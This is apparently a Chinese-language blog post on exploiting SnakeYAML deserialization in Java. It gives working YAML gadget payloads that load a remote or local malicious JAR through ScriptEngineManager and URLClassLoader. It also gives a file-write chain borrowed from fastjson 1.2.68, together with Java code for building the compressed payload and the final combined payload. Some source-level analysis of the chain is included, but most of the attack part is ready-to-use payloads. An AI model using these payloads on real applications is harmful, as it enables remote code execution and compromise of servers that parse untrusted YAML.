SnakeYaml的常见出网利用方式:

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"]
]]
]

不出网利用方式:写入恶意文件,之后使用上面的利用链。

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["file:D:\\yaml-payload.jar"]
]]
]

在java中的执行如下

URL url = new URL("file:D:\\yaml-payload.jar");
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
ScriptEngineManager scriptEngineManager = new ScriptEngineManager(urlClassLoader);

写入文件的利用链来源于fastjson 1.2.68利用链,主要是分析这条链。

{
"@type": "java.lang.Exception",
"@type": "java.io.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "D:\\yaml-payload.jar",
"append": "false"
},
"infl": {
"input": "xxxxx"
},
"bufLen": 1048576
},
"protocolVersion": 1
}

翻译成java执行方式大概是这样:

byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
//先对字节码压缩
deflater.setInput(code);
deflater.finish();
deflater.deflate(b);
FileOutputStream fileOutputStream1 = new FileOutputStream(new File("D:\\yaml-payload.jar"));
Inflater inflater = new Inflater();
//解压
inflater.setInput(b);
InflaterOutputStream inflaterOutputStream = new InflaterOutputStream(fileOutputStream1,inflater,1048576);
//这里并没有用MarshalOutputStream,因为MarshalOutputStream构造方法,调用out参数,最终是给父类ObjectOutputStream的构造方法执行的,所以直接使用ObjectOutputStream好了。
ObjectOutputStream objectOutputStream = new ObjectOutputStream(inflaterOutputStream);

从最外层开始看,ObjectOutputStream构造方法,顺利执行了InflaterOutputStream.write(buf, 0, pos);,最终得到写入效果。

public ObjectOutputStream(OutputStream out) throws IOException {
verifySubclass();
//this.out = InflaterOutputStream(fileOutputStream1,inflater,1048576);
bout = new BlockDataOutputStream(out);
handles = new HandleTable(10, (float) 3.00);
subs = new ReplaceTable(10, (float) 3.00);
enableOverride = false;
writeStreamHeader();
//执行out.write
bout.setBlockDataMode(true);
if (extendedDebugInfo) {
debugInfoStack = new DebugTraceInfoStack();
} else {
debugInfoStack = null;
}
}

然后看InflaterOutputStream的write方法。

// Decompress and write blocks of output data
do {
//这里的inf是Inflater对象,对象中已经包含了要写入的内容,之前由setInput写入,inf的赋值是在InflaterOutputStream(fileOutputStream1,inflater,1048576)构造方法中赋值。并且构造方法还赋值了out为fileOutputStream1。
//在inf.inflate(buf, 0, buf.length)中inf对象的字节码压缩后传递给buf,最终调用out.write(buf, 0, n)写入到文件
n = inf.inflate(buf, 0, buf.length);
if (n > 0) {
out.write(buf, 0, n);
}
} while (n > 0);

这个链是给SnakeYaml做反序列化,可以这样写:

!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater  { input: 压缩过的字节码内容 },1048576]]

压缩过的字节码内容,需要生成,生成完了dump成SnakeYaml的效果。

byte[] code = Files.readAllBytes(Paths.get("D:\\Payload.jar"));
byte[] b = new byte[code.length];
Deflater deflater = new Deflater();
deflater.setInput(code);
deflater.finish();
deflater.deflate(b); Yaml yaml = new Yaml();
String dump = yaml.dump(b);
System.out.println(dump);
=================================
输出是这样的
!!binary |-
eJwL8GZmEWHg4OB......略

最终的写入利用链:

!!java.io.ObjectOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["D://yaml-payload.jar"],false],!!java.util.zip.Inflater  { input: !!binary eJwL8GZmEWHg4OBgEAsID2NAApwMLAy+riGOup5+bvr/TjEwMDMEeLNzgKSYoEoCcGoWAWK4Zl9HP0831+AQPV+3z75nTvt46....略 },1048576]]

最新文章

  1. ThreadLocal 工作原理、部分源码分析
  2. [Java] CPU 100% 原因查找解决
  3. NYOJ:题目524 A-B Problem
  4. 页面设计--RadioButton
  5. 【Linux】部署cobbler
  6. JQuery的ajax方法
  7. UVa 1636 (概率) Headshot
  8. The Impact of Garbage Collection on Application Performance
  9. 导出Excel事例
  10. 简单JVM思维导图
  11. php对数组中指定键值排序
  12. jquery easyui combobox学习
  13. uva 705
  14. JS string 常用方法总结
  15. Unity WidgetsUI CreateTaskView Demo
  16. day2_webservice接口怎么测-SoapUI
  17. Android开发之利用ViewPager实现页面的切换(仿微信、QQ)
  18. TC-572-D1L2 (双向搜索+记忆化)
  19. Knights of a Polygonal Table CodeForces - 994B (贪心)
  20. 3、在Shell程序中使用的参数

热门文章

  1. SpringCloud Alibaba(六) - Seata 分布式事务锁
  2. 【大数据面试】【项目开发经验】Hadoop、Flume、Kafka、Hive、MySQL、Sqoop、Azkaban、Spark
  3. 使用PyLint分析评估代码质量
  4. 秒懂 Golang 中的 条件变量(sync.Cond)
  5. django.core.exceptions.ImproperlyConfigured: Field name `tester_id` is not valid for model `WebCase`.
  6. vulnhub靶场之HACKABLE: III
  7. 使用 Helm 安装 MQTT 服务器-EMQX
  8. 论文解读(CAN)《Contrastive Adaptation Network for Unsupervised Domain Adaptation》
  9. [深度学习] Pytorch模型转换为onnx模型笔记
  10. 经典 backbone 总结